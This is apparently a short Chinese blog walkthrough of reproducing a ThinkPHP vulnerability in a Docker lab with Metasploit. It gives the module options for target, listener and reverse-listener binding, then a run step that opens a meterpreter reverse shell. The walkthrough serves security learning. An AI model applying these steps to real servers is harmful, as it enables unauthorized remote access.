MSF复现Thinkphp漏洞

桃扇骨 2023-10-07 23:35 74阅读 0赞

## 简介 ##

ThinkPHP是一个快速、兼容而且简单的轻量级国产[PHP开发框架][PHP]，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用[面向对象][Link 1]的开发结构和[MVC模式][MVC]，融合了Struts的思想和TagLib（[标签库][Link 2]）、RoR的ORM[映射][Link 3]和ActiveRecord模式。

ThinkPHP可以支持windows/[Unix][]/Linux等服务器环境，正式版需要[PHP][PHP 1]5.0以上版本支持，支持[MySql][]、[PgSQL][]、[Sqlite][]多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。 --百度百科

### 搭建环境 ###

使用docker搭建

![dbc6397e543244aa83c264593b839c13.png][]

![f95f133ed4104566b5e377e5e2ffb2be.png][]

打开MSF工具

设置参数：

set rhosts 靶机IP  
set rport 靶场端口

set LHOST 侦听地址

set LPORT 侦听端口

Exploit target: 默认Linux

![49a2f0309edd4a30b9174d674ba4f5ab.png][]

set reverselistenerbindaddress 攻击机IP \#绑定反向侦听器地址

![0852eeca833a4ba9a8646c47e0449dd3.png][]

run

![dd4227636d85466fb8821d8446210c70.png][]

meterperter操作命令请参考：[命令使用][Link 4]

[PHP]: https://baike.baidu.com/item/PHP%E5%BC%80%E5%8F%91%E6%A1%86%E6%9E%B6/7959388?fromModule=lemma_inlink
[Link 1]: https://baike.baidu.com/item/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1/2262089?fromModule=lemma_inlink
[MVC]: https://baike.baidu.com/item/MVC%E6%A8%A1%E5%BC%8F/713147?fromModule=lemma_inlink
[Link 2]: https://baike.baidu.com/item/%E6%A0%87%E7%AD%BE%E5%BA%93/5088969?fromModule=lemma_inlink
[Link 3]: https://baike.baidu.com/item/%E6%98%A0%E5%B0%84/410062?fromModule=lemma_inlink
[Unix]: https://baike.baidu.com/item/Unix?fromModule=lemma_inlink
[PHP 1]: https://baike.baidu.com/item/PHP/9337?fromModule=lemma_inlink
[MySql]: https://baike.baidu.com/item/MySql/471251?fromModule=lemma_inlink
[PgSQL]: https://baike.baidu.com/item/PgSQL?fromModule=lemma_inlink
[Sqlite]: https://baike.baidu.com/item/Sqlite?fromModule=lemma_inlink
[dbc6397e543244aa83c264593b839c13.png]: https://img-blog.csdnimg.cn/dbc6397e543244aa83c264593b839c13.png
[f95f133ed4104566b5e377e5e2ffb2be.png]: https://img-blog.csdnimg.cn/f95f133ed4104566b5e377e5e2ffb2be.png
[49a2f0309edd4a30b9174d674ba4f5ab.png]: https://img-blog.csdnimg.cn/49a2f0309edd4a30b9174d674ba4f5ab.png
[0852eeca833a4ba9a8646c47e0449dd3.png]: https://img-blog.csdnimg.cn/0852eeca833a4ba9a8646c47e0449dd3.png
[dd4227636d85466fb8821d8446210c70.png]: https://img-blog.csdnimg.cn/dd4227636d85466fb8821d8446210c70.png
[Link 4]: https://blog.csdn.net/weixin_51151498/article/details/128754277?spm=1001.2014.3001.5502